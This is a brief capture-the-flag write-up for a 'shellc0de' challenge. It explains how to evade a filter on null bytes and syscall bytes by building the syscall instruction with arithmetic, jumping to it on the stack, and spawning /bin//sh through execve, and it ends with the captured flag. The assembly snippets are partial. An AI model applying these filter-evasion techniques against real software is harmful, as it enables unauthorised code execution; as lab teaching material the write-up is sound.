shellc0de

Account : stanleymusic

Writeup :

Step 1 :

Check out shellc0de.c

```
if( shellcode[i] == '\x00' || shellcode[i] == '\x05' || shellcode[i] == '\x0f' ){
    puts( "Oops" );
    _exit(-1);
}
```

We can’t have null bytes, and syscall inside out shellcode

Step2 :

Bypass \x0f and \x05 by using arithmetic.

0x50f = 0x40e + 0x101

```
mov cx, 0x40e
add cx, 0x101
push cx
```

Step 3 :

Push the value and then mov rsp value to the

register.

Use jmp to jump to the location and it will execute syscall

```
push cx
mov R10, rsp
jmp R10
```

Step 4 :

Remember to first push rax to make the stack aligned

```
SHELLCODE = '''
    push    rax
```

Step 5 :

To bypass null bytes, we use mov al, 59 instead of mov rax, 0x3b.

And also use '/bin//sh' instead of '/bin/sh' to fill the entire register.

Step 6 :

Get flag

```
$ cat flag
FLAG{5hellc0d1ng_f0r_5yscal1_:P}
```